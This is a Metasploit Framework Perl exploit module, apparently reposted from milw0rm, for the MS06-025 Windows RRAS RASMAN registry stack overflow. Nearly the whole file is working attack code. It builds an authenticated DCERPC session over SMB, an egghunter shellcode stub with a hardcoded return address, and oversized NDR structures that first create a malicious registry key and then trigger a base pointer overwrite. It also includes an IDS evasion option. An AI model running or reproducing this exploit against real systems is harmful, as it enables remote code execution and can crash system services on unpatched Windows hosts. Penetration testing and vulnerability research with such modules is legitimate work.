##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::rras_ms06_025_rasman;
use base "Msf::Exploit";
use strict;
use Pex::DCERPC;
use Pex::SMB;
use Pex::NDR;
my $advanced = {
'FragSize' => [ 256, 'The DCERPC fragment size' ],
'BindEvasion' => [ 0, 'IDS Evasion of the Bind request' ],
'DirectSMB' => [ 0, 'Use direct SMB (445/tcp)' ],
};
my $info = {
'Name' => 'Microsoft RRAS MSO6-025 RASMAN Registry Stack Overflow',
'Version' => '$Revision: 1.1 $',
'Authors' =>
[
'Pusscat <pusscat [at] gmail.com>',
'H D Moore <hdm [at] metasploit.com>'
],
'Arch' => ['x86'],
'OS' => [ 'win32', 'win2000', 'winxp' ],
'Priv' => 1,
'AutoOpts' => { 'EXITFUNC' => 'thread' },
'UserOpts' =>
{
'RHOST' => [ 1, 'ADDR', 'The target address' ],
# SMB connection options
'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', '' ],
'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB username',''],
'SMBDOM' => [ 0, 'DATA', 'The domain for specified SMB username', '' ],
'SMBPIPE' => [ 1, 'DATA', 'The pipe name to use (2000=ROUTER, XP=SRVSVC)', 'ROUTER' ],
},
'Payload' =>
{
'Space' =>1024,
'BadChars' => "\x00\x2c\x5c\x2e\x3a\x24",
# sub esp, 4097 + inc esp makes stack happy
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
},
'Description' => Pex::Text::Freeform(
qq{
This module exploits a registry-based stack overflow in the Windows Routing
and Remote Access Service. Since the service is hosted inside svchost.exe,
a failed exploit attempt can cause other system services to fail as well.
A valid username and password is required to exploit this flaw on Windows 2000.
When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'.
Exploiting this flaw involves two distinct steps - creating the registry key
and then triggering an overwrite based on a read of this key. Once the key is
created, it cannot be recreated. This means that for any given system, you
only get one chance to exploit this flaw. Picking the wrong target will require
a manual removal of the following registry key before you can try again:
HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\RAS Phonebook
}
),
'Refs' =>
[
[ 'BID', '18325' ],
[ 'CVE', '2006-2370' ],
[ 'OSVDB', '26437' ],
[ 'MSB', 'MS06-025' ]
],
'DefaultTarget' => 0,
'Targets' =>
[
[ 'Automatic' ],
[ 'Windows 2000', 0x750217ae ], # call esi
],
'Keys' => ['rras'],
'DisclosureDate' => 'Jun 13 2006',
};
sub new {
my ($class) = @_;
my $self = $class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced }, @_ );
return ($self);
}
sub Exploit {
my ($self) = @_;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
my $FragSize = $self->GetVar('FragSize') || 256;
my $target = $self->Targets->[$target_idx];
my ( $res, $rpc );
my $pipe = "\\" . $self->GetVar("SMBPIPE");
my $uuid = '20610036-fa22-11cf-9823-00a0c911e5df';
my $version = '1.0';
my $handle =
Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np', $target_host,
$pipe );
my $dce = Pex::DCERPC->new(
'handle' => $handle,
'username' => $self->GetVar('SMBUSER'),
'password' => $self->GetVar('SMBPASS'),
'domain' => $self->GetVar('SMBDOM'),
'fragsize' => $self->GetVar('FragSize'),
'bindevasion' => $self->GetVar('BindEvasion'),
'directsmb' => $self->GetVar('DirectSMB'),
);
if ( !$dce ) {
$self->PrintLine("[*] Could not bind to $handle");
return;
}
my $smb = $dce->{'_handles'}{$handle}{'connection'};
if ( $target->[0] =~ /Auto/ ) {
if ( $smb->PeerNativeOS eq 'Windows 5.0' ) {
$target = $self->Targets->[1];
$self->PrintLine('[*] Detected a Windows 2000 target...');
}
#elsif ( $smb->PeerNativeOS eq 'Windows 5.1' ) {
# $target = $self->Targets->[2];
# $self->PrintLine('[*] Detected a Windows XP target...');
#}
else {
$self->PrintLine( '[*] No target available : ' . $smb->PeerNativeOS() );
return;
}
}
# Shiny new egghunt from the 3.0 code :-)
my $egghunt =
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02" .
"\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8" .
"\x41\x41\x41\x41".
"\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7";
# Pick a "filler" character that we know doesn't get mangled
# by the wide string conversion routines
my $fillset = "\xc1\xff\x67\x1b\xd3\xa3\xe7";
my $filler = substr($fillset, rand(length($fillset)), 1);
my $eggtag = '';
my $pattern = '';
while (length($eggtag) < 4) {
$eggtag .= substr($fillset, rand(length($fillset)), 1);
}
# Configure the egg
substr($egghunt, 0x12, 4, $eggtag);
# We use an egghunter to give us nearly unlimited room for shellcode
my $eggdata =
($filler x 1024).
$eggtag.
$eggtag.
$shellcode.
($filler x 1024);
# Mini-payload that launches the egghunt
my $bof = $filler x 178;
substr($bof, 84, length($egghunt), $egghunt);
# Base pointer override occurs with this string
my $pat =
($filler x 886).
pack('V', $target->[1]).
($filler x 3). "\xc0".
$bof;
# The vulnerability is triggered with the second field of this structure
my $type2 =
Pex::NDR::UnicodeConformantVaryingStringPreBuilt( ($filler x 1024) . "\x00" ).
Pex::NDR::UnicodeConformantVaryingStringPreBuilt( $pat . "\x00" ).
Pex::NDR::UnicodeConformantVaryingStringPreBuilt( ($filler x 4096) . "\x00" ).
Pex::NDR::Long( int(rand(0xffffffff)) ).
Pex::NDR::Long( int(rand(0xffffffff)) );
# Another gigantic structure, many of these fields up as registry values
my $type1 =
Pex::NDR::Long(int(rand(0xffffffff))) . # OperatorDial
Pex::NDR::Long(int(rand(0xffffffff))) . # PreviewPhoneNumber
Pex::NDR::Long(int(rand(0xffffffff))) . # UseLocation
Pex::NDR::Long(int(rand(0xffffffff))) . # ShowLights
Pex::NDR::Long(int(rand(0xffffffff))) . # ShowConnectStatus
Pex::NDR::Long(int(rand(0xffffffff))) . # CloseOnDial
Pex::NDR::Long(int(rand(0xffffffff))) . # AllowLogonPhonebookEdits
Pex::NDR::Long(int(rand(0xffffffff))) . # AllowLogonLocationEdits
Pex::NDR::Long(int(rand(0xffffffff))) . # SkipConnectComplete
Pex::NDR::Long(int(rand(0xffffffff))) . # NewEntryWizard
Pex::NDR::Long(int(rand(0xffffffff))) . # RedialAttempts
Pex::NDR::Long(int(rand(0xffffffff))) . # RedialSeconds
Pex::NDR::Long(int(rand(0xffffffff))) . # IdleHangUpSeconds
Pex::NDR::Long(int(rand(0xffffffff))) . # RedialOnLinkFailure
Pex::NDR::Long(int(rand(0xffffffff))) . # PopupOnTopWhenRedialing
Pex::NDR::Long(int(rand(0xffffffff))) . # ExpandAutoDialQuery
Pex::NDR::Long(int(rand(0xffffffff))) . # CallbackMode
Pex::NDR::Long(0x45).
$type2.
Pex::NDR::UnicodeConformantVaryingString("\x00" x 129).
Pex::NDR::Long(int(rand(0xffffffff))).
Pex::NDR::UnicodeConformantVaryingString("\x00" x 520).
Pex::NDR::UnicodeConformantVaryingString("\x00" x 520).
Pex::NDR::Long(int(rand(0xffffffff))).
Pex::NDR::Long(int(rand(0xffffffff))).
Pex::NDR::Long(int(rand(0xffffffff))).
Pex::NDR::Long(int(rand(0xffffffff))).
Pex::NDR::Long(int(rand(0xffffffff))).
Pex::NDR::Long(int(rand(0xffffffff))).
Pex::NDR::Long(int(rand(0xffffffff))).
Pex::NDR::Long(int(rand(0xffffffff))).
Pex::NDR::UnicodeConformantVaryingString("\x00" x 514).
Pex::NDR::Long(int(rand(0xffffffff))).
Pex::NDR::Long(int(rand(0xffffffff)));
# Create the actual RPC stub and tack our payload on the end
my $stub =
$type1.
Pex::NDR::Long(int(rand(0xffffffff))).
$eggdata;
$self->PrintLine("[*] Creating the malicious registry key...");
my @response = $dce->request( $handle, 0x0A, $stub );
$self->PrintLine("[*] Triggering the base pointer overwrite...");
my @response = $dce->request( $handle, 0x0A, $stub );
if (@response) {
$self->PrintLine('[*] RPC server responded with:');
foreach my $line (@response) {
$self->PrintLine( '[*] ' . $line );
}
$self->PrintLine('[*] This probably means that the system is patched');
}
return;
}
1;
# milw0rm.com [2006-06-29]
